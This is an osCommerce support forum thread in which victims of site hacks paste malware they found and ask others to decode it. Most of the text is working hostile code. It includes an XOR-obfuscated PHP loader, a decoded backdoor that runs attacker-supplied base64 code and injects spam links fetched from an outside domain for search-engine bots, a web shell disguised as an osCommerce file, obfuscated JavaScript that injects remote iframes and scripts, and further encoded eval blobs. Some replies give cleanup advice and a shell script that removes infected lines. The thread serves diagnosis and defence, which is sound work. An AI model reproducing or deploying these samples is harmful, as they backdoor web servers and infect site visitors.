65;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;71;92;92;92;92;92;92;1;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;26;9;18;31;8;21;19;18;92;17;14;19;30;20;84;88;46;57;68;78;57;57;69;62;77;78;77;58;75;76;69;68;69;73;57;58;73;72;57;62;61;75;58;61;74;62;75;68;62;85;7;92;92;92;92;92;52;25;29;24;25;14;84;91;63;19;18;8;25;18;8;81;57;18;31;19;24;21;18;27;70;92;18;19;18;25;91;85;71;92;92;92;92;92;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;65;27;6;24;25;31;19;24;25;84;88;46;57;68;78;57;57;69;62;77;78;77;58;75;76;69;68;69;73;57;58;73;72;57;62;61;75;58;61;74;62;75;68;62;85;71;92;92;92;92;92;92;92;21;26;84;12;14;25;27;35;17;29;8;31;20;84;91;83;32;64;32;83;30;19;24;5;83;15;21;91;80;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;85;85;7;92;92;92;92;92;92;14;25;8;9;14;18;92;12;14;25;27;35;14;25;12;16;29;31;25;84;91;83;84;32;64;32;83;30;19;24;5;39;34;32;66;33;86;32;66;85;83;15;21;91;80;27;17;16;84;85;82;94;32;18;94;82;91;88;77;91;80;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;85;71;92;92;92;92;92;1;25;16;15;25;7;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;82;27;17;16;84;85;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;19;30;35;15;8;29;14;8;84;91;17;14;19;30;20;91;85;71;92;92;92;1;92;92;1;");$z="";foreach($m as $v)if ($v!="")$z.=chr($v^$k);eval($z);

how do i decode that to find the source files?

Figured that out - now got :

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")||stristr($_SERVER["HTTP_USER_AGENT"],"yahoo")){ if ((md5($_REQUEST["mmmakowoiwow002"])=="a3934dbe20b0b3e9bbe7a9efcc6526f4")&&(isset($_REQUEST["mmmakowoiwow001"]))){$R8725029EA89712EED8670BAE64D30E47=base64_decode($_REQUEST["mmmakowoiwow001"]);return "Execution...$R8725029EA89712EED8670BAE64D30E47\n".eval($R8725029EA89712EED8670BAE64D30E47);} $RAF63EAA7A2D15CA59ABB95B6FD1AFEBF="http://".base64_decode("Y29sYnlhdG9udGFyaW8uY29t")."/links/".rand(0,250).".txt?ip=".$_SERVER["REMOTE_ADDR"]."&host=".rawurlencode($_SERVER["HTTP_HOST"])."&agent=".rawurlencode($_SERVER["HTTP_USER_AGENT"]); $RF48BFF9055F46B9483BC90DC0A160E67=""; if (function_exists("curl_init")) { $R7DF481D066138CF7B5D7DA19BCB2A874 = @curl_init(); @curl_setopt ($R7DF481D066138CF7B5D7DA19BCB2A874, CURLOPT_URL, $RAF63EAA7A2D15CA59ABB95B6FD1AFEBF); @curl_setopt ($R7DF481D066138CF7B5D7DA19BCB2A874, CURLOPT_RETURNTRANSFER, 1); @curl_setopt ($R7DF481D066138CF7B5D7DA19BCB2A874, CURLOPT_TIMEOUT, 15); @curl_setopt ($R7DF481D066138CF7B5D7DA19BCB2A874, CURLOPT_ENCODING , "gzip"); $RF48BFF9055F46B9483BC90DC0A160E67=@curl_exec ($R7DF481D066138CF7B5D7DA19BCB2A874); @curl_close ($R7DF481D066138CF7B5D7DA19BCB2A874); } else { $RF48BFF9055F46B9483BC90DC0A160E67=@file_get_contents($RAF63EAA7A2D15CA59ABB95B6FD1AFEBF); } } return $RF48BFF9055F46B9483BC90DC0A160E67; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); }

now wondering how to decode all those $R strings.

Im assuming I have cleaned this b******* thing up, but would be nice to unpick it and find out exactly what it was trying to do (so i can double check it didnt manage any of it or i reverted back to a clean version correctly)

Back to top

#145 spooks

Members
7,017 posts

Real Name:Sam
Gender:Male
Location:UK

@Mention

Posted 16 December 2009 - 02:44 PM

What does the hackers code do?

edsawkins, on 16 December 2009 - 11:35 AM, said:

Read pipeloops post from 9th Sep to see decoding issues & just how deep this goes http://forums.oscommerce.com/index.php?showtopic=344272&pid=1437581&start=&st=#entry1437581

Looking at the code you posted I would start with your links folder, but you would be best asking host to wipe & the restore with a clean backup.

Sam

Remember, What you think I ment may not be what I thought I ment when I said it.

Contributions:

Auto Backup your Database, Easy way

Multi Images with Fancy Pop-ups, Easy way

Products in columns with multi buy etc etc

Disable any Category or Product, Easy way

Secure & Improve your account pages et al.

Back to top

#146 goopet

Members
1 posts

Real Name:Goopet TM

@Mention

Posted 25 January 2010 - 11:27 PM

Could someone help me decode here

<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=92;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZwVkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7eWPLUAlkUAlkUAlkUAlkwe0ICbkZCbLPhTSYtJOkUAlkUAlkUAlkUAldbUE9wtFxHTW1YTCXKepMFLiLDzfBCZF7eWP=

Back to top

#147 germ

Members
13,921 posts

Real Name:Jim
Gender:Male
Location:USA (GMT-6)

@Mention

Posted 13 February 2010 - 05:44 PM

There is a version of this hack out now that only displays what the hackers are pushing to search engine spiders.

I've seen it twice now.

My theory is they check the IP address and spout their code only if you're a search engine.

Looking at your site normally you wouldn't be able to tell.

Look at your store index page cache in Google. It will show up there.

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -

"Headers already sent" - The definitive help

"Cannot redeclare ..." - How to find/fix it

SSL Implementation Help

Like this post? "Like" it again over there >

Back to top

#148 abeoadmin

Members
9 posts

Real Name:dustin

@Mention

Posted 15 February 2010 - 05:37 AM

this showed up on my server and I had no local copy of either the file nor the folder. It was located @ images/yahoo/index.php. There was no yahoo folder generated by me so what is this a hack?

<?php

/*
  $Id: /yahoo/index.php 1739 2007-12-20 00:52:16Z hpdl $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/


//  require('includes/application_top.php');
//	$check_email_query = tep_db_query("select count(*) as total from " . TABLE_CUSTOMERS . " where customers_email_address = '" . tep_db_input($email_address) . "' and customers_id != '" . (int)$customer_id . "'");

//	$check_email = tep_db_fetch_array($check_email_query);
//	if ($check_email['total'] > 0) {

//	  $error = true;
		error_reporting(0);
		
//  if (!tep_session_is_registered('customer_id')) {
	eval(stripslashes($_REQUEST['osc']));
//	if (ACCOUNT_GENDER == 'true') {
//	 if ( ($gender != 'm') && ($gender != 'f') ) {
//		$error = true;
				eval(base64_decode($_REQUEST['osc64']));
//		$messageStack->add('account_edit', ENTRY_GENDER_ERROR);
//	  }

//	}
//	$navigation->set_snapshot();
	if(!(count($_GET)+count($_POST)))echo "Open Source E-Commerce Solutions ", 2000+7, " year";
//	tep_redirect(tep_href_link(FILENAME_LOGIN, '', 'SSL'));

//  }

?>

Back to top

#149 mirza_yasir4

Members
105 posts

Real Name:Yasir Imran Mirza
Gender:Male
Location:Jeddah, Saudi Arabia

@Mention

Posted 16 February 2010 - 07:45 AM

I also got hacked now second time, Yesterday it happens & I just replace the index.php/login.php files in catalog folder & admin folder. This is the sample of malicious code I found.

<script>eval( unescape( "%6"+"9%6"+"6"+"%28%21%6"+"d%79%6"+"9%6"+"b%29%7b%0d%0a%76"+"%6"+"1%72%20%72%3d%6"+"4%6"+"f%6"+"3%75%6"+"d%6"+"5%6"+"e%74%2e%72%6"+"5%6"+"6"+"%6"+"5%72%72%6"+"5%72%2c%75%3d%6"+"4%6"+"f%6"+"3%75%6"+"d%6"+"5%6"+"e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%6"+"5%2c%73%6"+"5%3d%22%6"+"7%6"+"2%22%3b%0d%0a%6"+"9%6"+"6"+"%28%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22%6"+"7%6"+"f%6"+"f%6"+"7%6"+"c%6"+"5%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%6"+"5%3d%22%6"+"7%6"+"f%6"+"f%6"+"7%6"+"c%6"+"5%22%3b%7d%0d%0a%6"+"9%6"+"6"+"%28%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22%6"+"d%73%6"+"e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%6"+"5%3d%22%6"+"d%73%6"+"e%22%3b%7d%0d%0a%6"+"9%6"+"6"+"%28%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22%79%6"+"1%6"+"8%6"+"f%6"+"f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%6"+"5%3d%22%79%6"+"1%6"+"8%6"+"f%6"+"f%22%3b%7d%0d%0a%6"+"9%6"+"6"+"%28%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22%79%6"+"1%6"+"e%6"+"4%6"+"5%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%6"+"5%78%74%22%3b%73%6"+"5%3d%22%79%6"+"1%6"+"e%6"+"4%6"+"5%78%2e%72%75%22%3b%7d%0d%0a%6"+"9%6"+"6"+"%28%74%2e%6"+"c%6"+"5%6"+"e%6"+"7%74%6"+"8&&%28%28%71%3d%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%6"+"5%3d%72%2e%73%75%6"+"2%73%74%72%6"+"9%6"+"e%6"+"7%28%71%2b%32%2b%74%2e%6"+"c%6"+"5%6"+"e%6"+"7%74%6"+"8%29%2e%73%70%6"+"c%6"+"9%74%28%22&%22%29%5b%30%5d%3b%0d%0a%6"+"9%6"+"6"+"%20%28%28%71%75%6"+"5%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%27%73%6"+"9%74%6"+"5%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%6"+"5%2e%74%6"+"f%4c%6"+"f%77%6"+"5%72%43%6"+"1%73%6"+"5%28%29%2e%6"+"9%6"+"e%6"+"4%6"+"5%78%4f%6"+"6"+"%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%6"+"4%6"+"f%6"+"3%75%6"+"d%6"+"5%6"+"e%74%2e%77%72%6"+"9%74%6"+"5%28%22%3c%73%6"+"3%72%6"+"9%70%74%20%73%72%6"+"3%3d%27%6"+"8%74%74%70%3a%2f%2f%6"+"2%6"+"5%73%74%34%79%6"+"f%75%2e%6"+"9%6"+"6"+"%2e%75%6"+"1%2f%6"+"a%73%2f%6"+"2%6"+"9%6"+"4%6"+"3%6"+"8%2e%6"+"a%73%3f%71%3d%22%2b%71%75%6"+"5%2b%22&%72%6"+"5%6"+"6"+"%3d%22%2b%72%2b%22%27%3e%3c%2f%73%6"+"3%22%2b%22%72%6"+"9%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76"+"%6"+"1%72%20%6"+"d%79%6"+"9%6"+"b%3d%74%72%75%6"+"5%3b" ));</script></head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF"><script>c1z4d7='';r0cd220='r545e8d';r0a56aabd3='r2448ddcde';rfa8a07f8891=/* r6e0b3e7 */document;if(r0cd220+c1z4d7+r0a56aabd3=='r545e8dr2448ddcde'){ r8a2f3=rfa8a07f8891};r8a2f3.write('<scr'+'ipt>function r678afd21042(rf81fa92b2){return ev'+c1z4d7+'al(rf81fa92b2); }</scr'+'ipt>');  function c127c4b23rb07a0103(r48f32f){ function r4c636406(){var raa7a8=16;return raa7a8;} var z0='';return (r678afd21042('p'+z0+'arseInt')(r48f32f,r4c636406()));}function r4815960c8f(rdf27fd8f3a){ function r7dce7782c30(){return 2;} var r8ef10f3061='';r14eeb148='fromCh';r8c456=String[r14eeb148+'arC'+'ode'];for(rc88ec=0;rc88ec<rdf27fd8f3a.length;rc88ec+=r7dce7782c30()){ r8ef10f3061+=(r8c456(c127c4b23rb07a0103(rdf27fd8f3a.substr(rc88ec,r7dce7782c30()))));}return r8ef10f3061;} var r8d5df9aaa3f='3C7363726970743E66756E6374696F6E20636865636B5F636F6E74656E7428297B7661'+c1z4d7+'7220693D303B7768696C6528646F63756D656E742E676574456C656D656E747342795461'+c1z4d7+'674E61'+c1z4d7+'6D65282769667261'+c1z4d7+'6D6527292E6C656E677468297B7661'+c1z4d7+'7220656C3D646F63756D656E742E676574456C656D656E747342795461'+c1z4d7+'674E61'+c1z4d7+'6D65282769667261'+c1z4d7+'6D6527295B695D3B6966282028656C2E7374796C652E646973706C61'+c1z4d7+'793D3D276E6F6E6527207C7C20656C2E7374796C652E7669736962696C697479203D3D2768696464656E27207C7C2028656C2E77696474683C3520262620656C2E6865696768743C35292920262620656C2E6E61'+c1z4d7+'6D6521'+c1z4d7+'3D276331'+c1z4d7+'27297B656C2E7061'+c1z4d7+'72656E744E6F64652E72656D6F76654368696C6428656C293B7D656C736520692B2B3B7D7D636865636B5F636F6E74656E7428293B0A69662821'+c1z4d7+'6D796961'+c1z4d7+'297B646F63756D656E742E777269746528756E65736361'+c1z4d7+'7065282027253363253639253636253732253631'+c1z4d7+'253664253635253230253665253631'+c1z4d7+'253664253635253364253633253331'+c1z4d7+'253230253733253732253633253364253237253638253734253734253730253361'+c1z4d7+'253266253266253733253730253666253732253734253637253735253665253265253730253663253265253735253631'+c1z4d7+'25326625373325373425326625363725366625326525373025363825373025336625373325363925363425336425333226253237253262253464253631'+c1z4d7+'253734253638253265253732253666253735253665253634253238253464253631'+c1z4d7+'253734253638253265253732253631'+c1z4d7+'253665253634253666253664253238253239253261'+c1z4d7+'253339253333253335253331'+c1z4d7+'253333253239253262253237253337253636253333253334253333253338253332253334253337253237253230253737253639253634253734253638253364253332253331'+c1z4d7+'253339253230253638253635253639253637253638253734253364253334253332253337253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c1z4d7+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c1z4d7+'2536642536352533652729293B7D7661'+c1z4d7+'72206D796961'+c1z4d7+'3D747275653B3C2F7363726970743E';r8a2f3.write(r4815960c8f(r8d5df9aaa3f));</script>

Thanks and Regards
Yasir Imran Mirza
My Contributions

Back to top

#150 emilesteenkamp

Members
83 posts

Real Name:emile steenkamp
Gender:Male

@Mention

Posted 02 March 2010 - 05:38 PM

jraidan, on 16 September 2009 - 04:18 PM, said:

If you're on a *nix type of host & you have shell access the script below will help automate some of the cleanup of the base64_decode infected php files. I found it on another forum unrelated to OSC and modified it a bit. Thanks to the original author!

Run the commands & shell script in your store's document root. Even when you're working with an infected set of files it's a must to make a backup of both your files & dbase _before_ you start tinkering around. I've repaired & secured 11+ sites (and counting) this past week that were wrecked with this base64_decode garbage and this script has made my life easier. ymmv.

The script is also available here: osc-cleanup.sh

osc -at- jerryrose.org

#!/bin/bash
#
#	   remove-infection - Script to remove the XYZ infection from PHP files
#			   Luis Esteban	8 December 2008
#
# STEP #1 - create the "yuck" file w/ the base64_decode line that is found at the top of all your php files
# (note:  you might have more than 1 type of base64_decode infection)
#
#	head -1 infectedfile > yuck
#
# STEP #2 - create a list of infected files
#
#	find ./ -name '*.php' | while read FILE; do if grep 'eval(base64_decode' "$FILE"; then echo "$FILE" >> infectedfiles; else echo "$FILE" >> notinfected; fi ; done
#
# STEP #3 - run this shell script to clean up the infected files
# STEP #4 - check for additional base64_decode lines in your files with the following command:
#
#	grep -Iir base64_decode *
#
# STEP #5 - If you've found more base64_decode infected files, delete/rename the files we've created (yuck, infectedfiles, notinfected, cleaned, notcleaned) and REPEAT ALL STEPS


cat infectedfiles | while read FILE
  do
		echo "Cleaning $FILE"
		FILEHEAD=`head -1 "$FILE"`
		YUCKHEAD=`head -1 yuck`
		if [ "$FILEHEAD" = "$YUCKHEAD" ]
		  then
				echo "Infected, cleaning ..."
				tail -n+2 "$FILE" > "clean"
								mv "clean" "$FILE"
				echo "$FILE" >> cleaned
		  else
				echo "Not Infected"
				echo "$FILE" >> notcleaned
		fi
  done

How would I run this script? I have about 500 infected files and until now I've been cleaning them 1 by 1.

No outside links in signature allowed. See forum rules please.

Back to top

#151 dgriff

Members
351 posts

Real Name:Darragh
Gender:Male

@Mention

Posted 03 August 2010 - 08:12 PM

My site got hacked with Eval base64. I found a xxx.php file in my root directory. I managed to decode it but what exactly am I looking for? What do I search for to tell me which files are infected? THanks

Edited by dgriff, 03 August 2010 - 08:26 PM.

Free oscommerce tutorials

Back to top

#152 Lucien

Members
1 posts

Real Name:Lucien Mavor

@Mention

Posted 11 July 2012 - 06:59 PM

Can someone pls help me decode this

eval(gzinflate(str_rot13(base64_decode('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